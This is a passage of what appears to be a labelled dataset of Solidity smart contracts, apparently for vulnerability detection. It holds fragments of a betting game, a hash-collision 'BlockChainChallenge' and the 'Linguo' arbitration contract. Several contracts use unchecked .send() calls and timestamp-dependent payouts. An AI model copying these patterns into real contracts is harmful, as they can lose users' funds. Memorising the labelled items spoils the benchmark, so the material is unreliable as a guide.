invest(uint256 _side) isActivated() amountVerify() senderVerify() public payable { uint256 _feeUser = 0; if(_side == 1 || _side == 2){ if(now < round[rId].end){ _feeUser = buyFish(_side); round[rId].devFee = round[rId].devFee.add((_feeUser.mul(devFee)).div(100)); } else if(now >= round[rId].end){ startRound(); _feeUser = buyFish(_side); round[rId].devFee = round[rId].devFee.add((_feeUser.mul(devFee)).div(100)); } } else { msg.sender.transfer(msg.value); } } function invest(uint256 _side, address _refer) isActivated() amountVerify() senderVerify() public payable { uint256 _feeUser = 0; if(_side == 1 || _side == 2){ if(now < round[rId].end){ _feeUser = buyFish(_side); processRef(_feeUser, _refer); } else if(now >= round[rId].end){ startRound(); _feeUser = buyFish(_side); processRef(_feeUser, _refer); } } else { msg.sender.transfer(msg.value); } } function buyFish(uint256 _side) private returns (uint256) { uint256 _rId = rId; uint256 _amount = msg.value; if(player[msg.sender].active == false){ player[msg.sender].active = true; player[msg.sender].withdrawRid = _rId; } uint256 _feeUser = (_amount.mul(getRoundFee())).div(1000000); uint256 _depositUser = _amount.sub(_feeUser); playerAmountDeposit[_rId][_side][msg.sender] = playerAmountDeposit[_rId][_side][msg.sender].add(_depositUser); playerAmountDepositReal[_rId][_side][msg.sender] = playerAmountDepositReal[_rId][_side][msg.sender].add(_amount); if(_side == 1){ round[_rId].amount1 = round[_rId].amount1.add(_depositUser); if(playerRoundAmount[_rId][1][msg.sender] == 0){ playerRoundAmount[_rId][1][msg.sender]++; round[_rId].players1++; } } else if(_side == 2){ round[_rId].amount2 = round[_rId].amount2.add(_depositUser); if(playerRoundAmount[_rId][2][msg.sender] == 0){ playerRoundAmount[_rId][2][msg.sender]++; round[_rId].players2++; } } round[_rId+1].jackpotAmount = round[_rId+1].jackpotAmount.add((_feeUser.mul(jackpotDistribution)).div(100)); return _feeUser; } function processRef(uint256 _feeUser, address _refer) private { if(_refer != 0x0000000000000000000000000000000000000000 && _refer != msg.sender && player[_refer].active == true){ player[_refer].refBalance = player[_refer].refBalance.add((_feeUser.mul(refComm)).div(100)); round[rId].devFee = round[rId].devFee.add((_feeUser.mul(devFeeRef)).div(100)); } else { round[rId].devFee = round[rId].devFee.add((_feeUser.mul(devFee)).div(100)); } } function startRound() private { if(round[rId].amount1 > round[rId].amount2){ round[rId].winner = 1; } else if(round[rId].amount1 < round[rId].amount2){ round[rId].winner = 2; } else if(round[rId].amount1 == round[rId].amount2){ round[rId].winner = 3; } developerAddr.transfer(round[rId].devFee); round[rId].ended = true; rId++; round[rId].start = now; round[rId].end = now.add(durationRound); round[rId].ended = false; round[rId].winner = 0; } function getPlayerBalance(address _player) public view returns(uint256) { uint256 userWithdrawRId = player[_player].withdrawRid; uint256 potAmount = 0; uint256 userSharePercent = 0; uint256 userSharePot = 0; uint256 userDeposit = 0; uint256 userBalance = 0; for(uint256 i = userWithdrawRId; i < rId; i++){ if(round[i].ended == true){ potAmount = round[i].amount1.add(round[i].amount2).add(round[i].jackpotAmount); if(round[i].winner == 1 && playerAmountDeposit[i][1][_player] > 0){ userSharePercent = playerAmountDeposit[i][1][_player].mul(1000000).div(round[i].amount1); } else if(round[i].winner == 2 && playerAmountDeposit[i][2][_player] > 0){ userSharePercent = playerAmountDeposit[i][2][_player].mul(1000000).div(round[i].amount2); } else if(round[i].winner == 3){ if(playerAmountDeposit[i][1][_player] > 0 || playerAmountDeposit[i][2][_player] > 0){ userDeposit = playerAmountDeposit[i][1][_player].add(playerAmountDeposit[i][2][_player]); userBalance = userBalance.add(userDeposit); } } if(round[i].winner == 1 || round[i].winner == 2){ userSharePot = potAmount.mul(userSharePercent).div(1000000); userBalance = userBalance.add(userSharePot); userSharePercent = 0; } } } return userBalance; } function getRefBalance(address _player) public view returns (uint256) { return player[_player].refBalance; } function withdraw() senderVerify() playerVerify() public { require(getRefBalance(msg.sender) > 0 || getPlayerBalance(msg.sender) > 0); address playerAddress = msg.sender; uint256 withdrawAmount = 0; if(getRefBalance(playerAddress) > 0){ withdrawAmount = withdrawAmount.add(getRefBalance(playerAddress)); player[playerAddress].refBalance = 0; } if(getPlayerBalance(playerAddress) > 0){ withdrawAmount = withdrawAmount.add(getPlayerBalance(playerAddress)); player[playerAddress].withdrawRid = rId; } playerAddress.transfer(withdrawAmount); } function getPlayerInfo(address _player) public view returns (bool, uint256, uint256, uint256) { return (player[_player].active, getPlayerBalance(_player), player[_player].refBalance, player[_player].withdrawRid); } function getRoundInfo(uint256 _rId) public view returns (uint256, uint256, bool, uint256, uint256, uint256, uint256, uint256, uint256, uint256) { uint256 roundNum = _rId; return (round[roundNum].start, round[roundNum].end, round[roundNum].ended, round[roundNum].amount1, round[roundNum].amount2, round[roundNum].players1, round[roundNum].players2, round[roundNum].jackpotAmount, round[roundNum].devFee, round[roundNum].winner); } function getUserDeposit(uint256 _rId, uint256 _side, address _player) public view returns (uint256) { return playerAmountDeposit[_rId][_side][_player]; } function getUserDepositReal(uint256 _rId, uint256 _side, address _player) public view returns (uint256) { return playerAmountDepositReal[_rId][_side][_player]; } function getRoundFee() public view returns (uint256) { uint256 roundStart = round[rId].start; uint256 _durationRound = 0; if(rId == 1){ _durationRound = 172800; } else { _durationRound = durationRound; } uint256 remainingTimeInv = now - roundStart; uint256 percentTime = (remainingTimeInv * 10000) / _durationRound; uint256 feeRound = ((maxFee - minFee) * percentTime) + (minFee * 10000); return feeRound; } } library Indatasets { struct Player { bool active; uint256 refBalance; uint256 withdrawRid; } struct Round { uint256 start; uint256 end; bool ended; uint256 amount1; uint256 amount2; uint256 players1; uint256 players2; uint256 jackpotAmount; uint256 devFee; uint256 winner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
0
1,981
contract BlockChainChallenge { address admin; address leader; bytes32 leaderHash; bytes32 difficulty; bytes32 difficultyWorldRecord; uint fallenLeaders; uint startingTime; uint gameLength; string leaderMessage; string defaultLeaderMessage; mapping (address => uint) winners; event Begin(string log); event Leader(string log, address newLeader, bytes32 newHash); event GameOver(string log); event Winner (string log, address winner); event NoWinner (string log); event WorldRecord (string log, bytes32 DifficultyRecord, address RecordHolder); function BlockChainChallenge(){ admin = msg.sender; startingTime = block.timestamp; gameLength = 1 weeks; leaderHash = sha3("09F911029D74E35BD84156C5635688C0"); leader = msg.sender; defaultLeaderMessage = "If you're this weeks leader, you own this field. Write a message here."; leaderMessage = defaultLeaderMessage; difficulty = leaderHash; difficultyWorldRecord = leaderHash; fallenLeaders = 0; Begin("Collide the most bits of the leader's hash to replace the leader. Leader will win any bounty at the end of the week."); } function reset() private{ leaderHash = sha3(block.timestamp); leaderMessage = defaultLeaderMessage; difficulty = leaderHash; leader = admin; fallenLeaders = 0; } function checkDate() private returns (bool success) { if (block.timestamp > (startingTime + gameLength)) { if(leader != admin){ Winner("Victory! Game will be reset to end in 1 week (in block time).", leader); leader.send(this.balance); }else NoWinner("No winner! Game will be reset to end in 1 week (in block time)."); startingTime = block.timestamp; reset(); return true; } return false; } function overthrow(string challengeData) returns (bool success){ var challengeHash = sha3(challengeData); if(checkDate()) return false; if(challengeHash == leaderHash) return false; if((challengeHash ^ leaderHash) > difficulty) return false; difficulty = (challengeHash ^ leaderHash); challengeWorldRecord(difficulty); leader = msg.sender; leaderHash = challengeHash; Leader("New leader! This is their address, and the new hash to collide.", leader, leaderHash); winners[msg.sender]++; fallenLeaders++; return true; } function challengeWorldRecord (bytes32 difficultyChallenge) private { if(difficultyChallenge < difficultyWorldRecord) { difficultyWorldRecord = difficultyChallenge; WorldRecord("A record setting collision occcured!", difficultyWorldRecord, msg.sender); } } function changeLeaderMessage(string newMessage){ if(msg.sender == leader) leaderMessage = newMessage; } function currentLeader() constant returns (address CurrentLeaderAddress){ return leader; } function Difficulty() constant returns (bytes32 XorMustBeLessThan){ return difficulty; } function TargetHash() constant returns (bytes32 leadingHash){ return leaderHash; } function LeaderMessage() constant returns (string MessageOfTheDay){ return leaderMessage; } function FallenLeaders() constant returns (uint Victors){ return fallenLeaders; } function GameEnds() constant returns (uint EndingTime){ return startingTime + gameLength; } function getWins(address check) constant returns (uint wins){ return winners[check]; } function kill(){ if (msg.sender == admin){ GameOver("The challenge has ended."); selfdestruct(admin); } } }
1
4,297
pragma solidity 0.7.4; interface IArbitrable { event Ruling(IArbitrator indexed _arbitrator, uint256 indexed _disputeID, uint256 _ruling); function rule(uint256 _disputeID, uint256 _ruling) external; } interface IArbitrator { enum DisputeStatus {Waiting, Appealable, Solved} event DisputeCreation(uint256 indexed _disputeID, IArbitrable indexed _arbitrable); event AppealPossible(uint256 indexed _disputeID, IArbitrable indexed _arbitrable); event AppealDecision(uint256 indexed _disputeID, IArbitrable indexed _arbitrable); function createDispute(uint256 _choices, bytes calldata _extraData) external payable returns (uint256 disputeID); function arbitrationCost(bytes calldata _extraData) external view returns (uint256 cost); function appeal(uint256 _disputeID, bytes calldata _extraData) external payable; function appealCost(uint256 _disputeID, bytes calldata _extraData) external view returns (uint256 cost); function appealPeriod(uint256 _disputeID) external view returns (uint256 start, uint256 end); function disputeStatus(uint256 _disputeID) external view returns (DisputeStatus status); function currentRuling(uint256 _disputeID) external view returns (uint256 ruling); } interface IEvidence { event MetaEvidence(uint256 indexed _metaEvidenceID, string _evidence); event Evidence( IArbitrator indexed _arbitrator, uint256 indexed _evidenceGroupID, address indexed _party, string _evidence ); event Dispute( IArbitrator indexed _arbitrator, uint256 indexed _disputeID, uint256 _metaEvidenceID, uint256 _evidenceGroupID ); } library CappedMath { uint constant private UINT_MAX = 2**256 - 1; function addCap(uint _a, uint _b) internal pure returns (uint) { uint c = _a + _b; return c >= _a ? c : UINT_MAX; } function subCap(uint _a, uint _b) internal pure returns (uint) { if (_b > _a) return 0; else return _a - _b; } function mulCap(uint _a, uint _b) internal pure returns (uint) { if (_a == 0) return 0; uint c = _a * _b; return c / _a == _b ? c : UINT_MAX; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Linguo is IArbitrable, IEvidence { using CappedMath for uint256; uint8 public constant VERSION_ID = 0; uint256 public constant MULTIPLIER_DIVISOR = 10000; uint256 private constant NOT_PAYABLE_VALUE = (2**256 - 2) / 2; enum Status {Created, Assigned, AwaitingReview, DisputeCreated, Resolved} enum Party { None, Translator, Challenger } struct Task { uint256 submissionTimeout; uint256 minPrice; uint256 maxPrice; Status status; uint256 lastInteraction; address payable requester; uint256 requesterDeposit; uint256 sumDeposit; address payable[3] parties; uint256 disputeID; Round[] rounds; uint256 ruling; } struct Round { uint256[3] paidFees; bool[3] hasPaid; uint256 feeRewards; mapping(address => uint256[3]) contributions; } address public governor = msg.sender; IArbitrator public immutable arbitrator; bytes public arbitratorExtraData; uint256 public reviewTimeout; uint256 public translationMultiplier; uint256 public challengeMultiplier; uint256 public sharedStakeMultiplier; uint256 public winnerStakeMultiplier; uint256 public loserStakeMultiplier; Task[] public tasks; mapping(uint256 => uint256) public disputeIDtoTaskID; event TaskCreated(uint256 indexed _taskID, address indexed _requester, uint256 _timestamp); event TaskAssigned(uint256 indexed _taskID, address indexed _translator, uint256 _price, uint256 _timestamp); event TranslationSubmitted( uint256 indexed _taskID, address indexed _translator, string _translatedText, uint256 _timestamp ); event TranslationChallenged(uint256 indexed _taskID, address indexed _challenger, uint256 _timestamp); event TaskResolved(uint256 indexed _taskID, string _reason, uint256 _timestamp); event AppealContribution(uint256 indexed _taskID, Party _party, address indexed _contributor, uint256 _amount); event HasPaidAppealFee(uint256 indexed _taskID, Party _party); modifier onlyGovernor() { require(msg.sender == governor, "Only governor is allowed to perform this."); _; } constructor( IArbitrator _arbitrator, bytes memory _arbitratorExtraData, uint256 _reviewTimeout, uint256 _translationMultiplier, uint256 _challengeMultiplier, uint256 _sharedStakeMultiplier, uint256 _winnerStakeMultiplier, uint256 _loserStakeMultiplier ) public { arbitrator = _arbitrator; arbitratorExtraData = _arbitratorExtraData; reviewTimeout = _reviewTimeout; translationMultiplier = _translationMultiplier; challengeMultiplier = _challengeMultiplier; sharedStakeMultiplier = _sharedStakeMultiplier; winnerStakeMultiplier = _winnerStakeMultiplier; loserStakeMultiplier = _loserStakeMultiplier; } function changeGovernor(address _governor) public onlyGovernor { governor = _governor; } function changeReviewTimeout(uint256 _reviewTimeout) public onlyGovernor { reviewTimeout = _reviewTimeout; } function changeTranslationMultiplier(uint256 _translationMultiplier) public onlyGovernor { translationMultiplier = _translationMultiplier; } function changeChallengeMultiplier(uint256 _challengeMultiplier) public onlyGovernor { challengeMultiplier = _challengeMultiplier; } function changeSharedStakeMultiplier(uint256 _sharedStakeMultiplier) public onlyGovernor { sharedStakeMultiplier = _sharedStakeMultiplier; } function changeWinnerStakeMultiplier(uint256 _winnerStakeMultiplier) public onlyGovernor { winnerStakeMultiplier = _winnerStakeMultiplier; } function changeLoserStakeMultiplier(uint256 _loserStakeMultiplier) public onlyGovernor { loserStakeMultiplier = _loserStakeMultiplier; } function createTask( uint256 _deadline, uint256 _minPrice, string calldata _metaEvidence ) external payable returns (uint256 taskID) { require(msg.value >= _minPrice, "Deposited value should be greater than or equal to the min price."); require(_deadline > block.timestamp, "The deadline should be in the future."); taskID = tasks.length; Task storage task = tasks.push(); task.submissionTimeout = _deadline - block.timestamp; task.minPrice = _minPrice; task.maxPrice = msg.value; task.lastInteraction = block.timestamp; task.requester = msg.sender; task.requesterDeposit = msg.value; emit MetaEvidence(taskID, _metaEvidence); emit TaskCreated(taskID, msg.sender, block.timestamp); } function assignTask(uint256 _taskID) external payable { Task storage task = tasks[_taskID]; require(block.timestamp - task.lastInteraction <= task.submissionTimeout, "The deadline has already passed."); uint256 price = task.minPrice + ((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) / task.submissionTimeout; uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData); uint256 translatorDeposit = arbitrationCost.addCap((translationMultiplier.mulCap(price)) / MULTIPLIER_DIVISOR); require(task.status == Status.Created, "Task has already been assigned or reimbursed."); require(msg.value >= translatorDeposit, "Not enough ETH to reach the required deposit value."); task.parties[uint256(Party.Translator)] = msg.sender; task.status = Status.Assigned; uint256 remainder = task.maxPrice - price; task.requester.send(remainder); task.requesterDeposit = price; task.sumDeposit = translatorDeposit; remainder = msg.value - translatorDeposit; msg.sender.send(remainder); emit TaskAssigned(_taskID, msg.sender, price, block.timestamp); } function submitTranslation(uint256 _taskID, string calldata _translation) external { Task storage task = tasks[_taskID]; require( task.status == Status.Assigned, "The task is either not assigned or translation has already been submitted." ); require(block.timestamp - task.lastInteraction <= task.submissionTimeout, "The deadline has already passed."); require( msg.sender == task.parties[uint256(Party.Translator)], "Can't submit translation to a task that wasn't assigned to you." ); task.status = Status.AwaitingReview; task.lastInteraction = block.timestamp; emit TranslationSubmitted(_taskID, msg.sender, _translation, block.timestamp); } function reimburseRequester(uint256 _taskID) external { Task storage task = tasks[_taskID]; require(task.status < Status.AwaitingReview, "Can't reimburse if translation was submitted."); require( block.timestamp - task.lastInteraction > task.submissionTimeout, "Can't reimburse if the deadline hasn't passed yet." ); task.status = Status.Resolved; uint256 amount = task.requesterDeposit + task.sumDeposit; task.requester.send(amount); task.requesterDeposit = 0; task.sumDeposit = 0; emit TaskResolved(_taskID, "requester-reimbursed", block.timestamp); } function acceptTranslation(uint256 _taskID) external { Task storage task = tasks[_taskID]; require(task.status == Status.AwaitingReview, "The task is in the wrong status."); require(block.timestamp - task.lastInteraction > reviewTimeout, "The review phase hasn't passed yet."); task.status = Status.Resolved; uint256 amount = task.requesterDeposit + task.sumDeposit; task.parties[uint256(Party.Translator)].send(amount); task.requesterDeposit = 0; task.sumDeposit = 0; emit TaskResolved(_taskID, "translation-accepted", block.timestamp); } function challengeTranslation(uint256 _taskID, string calldata _evidence) external payable { Task storage task = tasks[_taskID]; uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData); uint256 challengeDeposit = arbitrationCost.addCap( (challengeMultiplier.mulCap(task.requesterDeposit)) / MULTIPLIER_DIVISOR ); require(task.status == Status.AwaitingReview, "The task is in the wrong status."); require(block.timestamp - task.lastInteraction <= reviewTimeout, "The review phase has already passed."); require(msg.value >= challengeDeposit, "Not enough ETH to cover challenge deposit."); task.status = Status.DisputeCreated; task.parties[uint256(Party.Challenger)] = msg.sender; task.disputeID = arbitrator.createDispute{value: arbitrationCost}(2, arbitratorExtraData); disputeIDtoTaskID[task.disputeID] = _taskID; task.rounds.push(); task.sumDeposit = task.sumDeposit.addCap(challengeDeposit).subCap(arbitrationCost); uint256 remainder = msg.value - challengeDeposit; msg.sender.send(remainder); emit Dispute(arbitrator, task.disputeID, _taskID, _taskID); emit TranslationChallenged(_taskID, msg.sender, block.timestamp); if (bytes(_evidence).length > 0) emit Evidence(arbitrator, _taskID, msg.sender, _evidence); } function fundAppeal(uint256 _taskID, Party _side) external payable { Task storage task = tasks[_taskID]; require( _side == Party.Translator || _side == Party.Challenger, "Recipient must be either the translator or challenger." ); require(task.status == Status.DisputeCreated, "No dispute to appeal."); require( arbitrator.disputeStatus(task.disputeID) == IArbitrator.DisputeStatus.Appealable, "Dispute is not appealable." ); (uint256 appealPeriodStart, uint256 appealPeriodEnd) = arbitrator.appealPeriod(task.disputeID); require( block.timestamp >= appealPeriodStart && block.timestamp < appealPeriodEnd, "Funding must be made within the appeal period." ); uint256 winner = arbitrator.currentRuling(task.disputeID); uint256 multiplier; if (winner == uint256(_side)) { multiplier = winnerStakeMultiplier; } else if (winner == 0) { multiplier = sharedStakeMultiplier; } else { require( block.timestamp - appealPeriodStart < (appealPeriodEnd - appealPeriodStart) / 2, "The loser must pay during the first half of the appeal period." ); multiplier = loserStakeMultiplier; } Round storage round = task.rounds[task.rounds.length - 1]; require(!round.hasPaid[uint256(_side)], "Appeal fee has already been paid."); uint256 appealCost = arbitrator.appealCost(task.disputeID, arbitratorExtraData); uint256 totalCost = appealCost.addCap((appealCost.mulCap(multiplier)) / MULTIPLIER_DIVISOR); uint256 contribution; uint256 remainingETH; (contribution, remainingETH) = calculateContribution( msg.value, totalCost.subCap(round.paidFees[uint256(_side)]) ); round.contributions[msg.sender][uint256(_side)] += contribution; round.paidFees[uint256(_side)] += contribution; emit AppealContribution(_taskID, _side, msg.sender, contribution); if (round.paidFees[uint256(_side)] >= totalCost) { round.hasPaid[uint256(_side)] = true; round.feeRewards += round.paidFees[uint256(_side)]; emit HasPaidAppealFee(_taskID, _side); } msg.sender.send(remainingETH); if (round.hasPaid[uint256(Party.Translator)] && round.hasPaid[uint256(Party.Challenger)]) { arbitrator.appeal{value: appealCost}(task.disputeID, arbitratorExtraData); task.rounds.push(); round.feeRewards = round.feeRewards.subCap(appealCost); } } function calculateContribution(uint256 _available, uint256 _requiredAmount) internal pure returns (uint256 taken, uint256 remainder) { if (_requiredAmount > _available) return (_available, 0); remainder = _available - _requiredAmount; return (_requiredAmount, remainder); } function withdrawFeesAndRewards( address payable _beneficiary, uint256 _taskID, uint256 _round ) public { Task storage task = tasks[_taskID]; Round storage round = task.rounds[_round]; require(task.status == Status.Resolved, "The task should be resolved."); uint256 reward; if (!round.hasPaid[uint256(Party.Translator)] || !round.hasPaid[uint256(Party.Challenger)]) { reward = round.contributions[_beneficiary][uint256(Party.Translator)] + round.contributions[_beneficiary][uint256(Party.Challenger)]; round.contributions[_beneficiary][uint256(Party.Translator)] = 0; round.contributions[_beneficiary][uint256(Party.Challenger)] = 0; } else if (task.ruling == uint256(Party.None)) { uint256 rewardTranslator = round.paidFees[uint256(Party.Translator)] > 0 ? (round.contributions[_beneficiary][uint256(Party.Translator)] * round.feeRewards) / (round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)]) : 0; uint256 rewardChallenger = round.paidFees[uint256(Party.Challenger)] > 0 ? (round.contributions[_beneficiary][uint256(Party.Challenger)] * round.feeRewards) / (round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)]) : 0; reward = rewardTranslator + rewardChallenger; round.contributions[_beneficiary][uint256(Party.Translator)] = 0; round.contributions[_beneficiary][uint256(Party.Challenger)] = 0; } else { reward = round.paidFees[task.ruling] > 0 ? (round.contributions[_beneficiary][task.ruling] * round.feeRewards) / round.paidFees[task.ruling] : 0; round.contributions[_beneficiary][task.ruling] = 0; } _beneficiary.send(reward); } function batchRoundWithdraw( address payable _beneficiary, uint256 _taskID, uint256 _cursor, uint256 _count ) public { Task storage task = tasks[_taskID]; for (uint256 i = _cursor; i < task.rounds.length && (_count == 0 || i < _cursor + _count); i++) withdrawFeesAndRewards(_beneficiary, _taskID, i); } function rule(uint256 _disputeID, uint256 _ruling) external override { Party resultRuling = Party(_ruling); uint256 taskID = disputeIDtoTaskID[_disputeID]; Task storage task = tasks[taskID]; Round storage round = task.rounds[task.rounds.length - 1]; require(msg.sender == address(arbitrator), "Must be called by the arbitrator."); require(task.status == Status.DisputeCreated, "The dispute has already been resolved."); if (round.hasPaid[uint256(Party.Translator)] == true) resultRuling = Party.Translator; else if (round.hasPaid[uint256(Party.Challenger)] == true) resultRuling = Party.Challenger; emit Ruling(IArbitrator(msg.sender), _disputeID, uint256(resultRuling)); executeRuling(_disputeID, uint256(resultRuling)); } function executeRuling(uint256 _disputeID, uint256 _ruling) internal { uint256 taskID = disputeIDtoTaskID[_disputeID]; Task storage task = tasks[taskID]; task.status = Status.Resolved; task.ruling = _ruling; uint256 amount; if (_ruling == uint256(Party.None)) { task.requester.send(task.requesterDeposit); amount = task.sumDeposit / 2; task.parties[uint256(Party.Translator)].send(amount); task.parties[uint256(Party.Challenger)].send(amount); } else if (_ruling == uint256(Party.Translator)) { amount = task.requesterDeposit + task.sumDeposit; task.parties[uint256(Party.Translator)].send(amount); } else { task.requester.send(task.requesterDeposit); task.parties[uint256(Party.Challenger)].send(task.sumDeposit); } task.requesterDeposit = 0; task.sumDeposit = 0; emit TaskResolved(taskID, "dispute-settled", block.timestamp); } function submitEvidence(uint256 _taskID, string calldata _evidence) external { Task storage task = tasks[_taskID]; require(task.status != Status.Resolved, "The task must not already be resolved."); emit Evidence(arbitrator, _taskID, msg.sender, _evidence); } function amountWithdrawable(uint256 _taskID, address payable _beneficiary) external view returns (uint256 total) { Task storage task = tasks[_taskID]; if (task.status != Status.Resolved) return total; for (uint256 i = 0; i < task.rounds.length; i++) { Round storage round = task.rounds[i]; if (!round.hasPaid[uint256(Party.Translator)] || !round.hasPaid[uint256(Party.Challenger)]) { total += round.contributions[_beneficiary][uint256(Party.Translator)] + round.contributions[_beneficiary][uint256(Party.Challenger)]; } else if (task.ruling == uint256(Party.None)) { uint256 rewardTranslator = round.paidFees[uint256(Party.Translator)] > 0 ? (round.contributions[_beneficiary][uint256(Party.Translator)] * round.feeRewards) / (round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)]) : 0; uint256 rewardChallenger = round.paidFees[uint256(Party.Challenger)] > 0 ? (round.contributions[_beneficiary][uint256(Party.Challenger)] * round.feeRewards) / (round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)]) : 0; total += rewardTranslator + rewardChallenger; } else { total += round.paidFees[uint256(task.ruling)] > 0 ? (round.contributions[_beneficiary][uint256(task.ruling)] * round.feeRewards) / round.paidFees[uint256(task.ruling)] : 0; } } return total; } function getDepositValue(uint256 _taskID) public view returns (uint256 deposit) { Task storage task = tasks[_taskID]; if (block.timestamp - task.lastInteraction > task.submissionTimeout || task.status != Status.Created) { deposit = NOT_PAYABLE_VALUE; } else { uint256 price = task.minPrice + ((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) / task.submissionTimeout; uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData); deposit = arbitrationCost.addCap((translationMultiplier.mulCap(price)) / MULTIPLIER_DIVISOR); } } function getChallengeValue(uint256 _taskID) public view returns (uint256 deposit) { Task storage task = tasks[_taskID]; if (block.timestamp - task.lastInteraction > reviewTimeout || task.status != Status.AwaitingReview) { deposit = NOT_PAYABLE_VALUE; } else { uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData); deposit = arbitrationCost.addCap((challengeMultiplier.mulCap(task.requesterDeposit)) / MULTIPLIER_DIVISOR); } } function getTaskPrice(uint256 _taskID) public view returns (uint256 price) { Task storage task = tasks[_taskID]; if (block.timestamp - task.lastInteraction > task.submissionTimeout || task.status != Status.Created) { price = 0; } else { price = task.minPrice + ((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) / task.submissionTimeout; } } function getTaskCount() public view returns (uint256) { return tasks.length; } function getNumberOfRounds(uint256 _taskID) public view returns (uint256) { Task storage task = tasks[_taskID]; return task.rounds.length; } function getContributions( uint256 _taskID, uint256 _round, address _contributor ) public view returns (uint256[3] memory contributions) { Task storage task = tasks[_taskID]; Round storage round = task.rounds[_round]; contributions = round.contributions[_contributor]; } function getTaskParties(uint256 _taskID) public view returns (address payable[3] memory parties) { Task storage task = tasks[_taskID]; parties = task.parties; } function getRoundInfo(uint256 _taskID, uint256 _round) public view returns ( uint256[3] memory paidFees, bool[3] memory hasPaid, uint256 feeRewards ) { Task storage task = tasks[_taskID]; Round storage round = task.rounds[_round]; return (round.paidFees, round.hasPaid, round.feeRewards); } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol) { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function 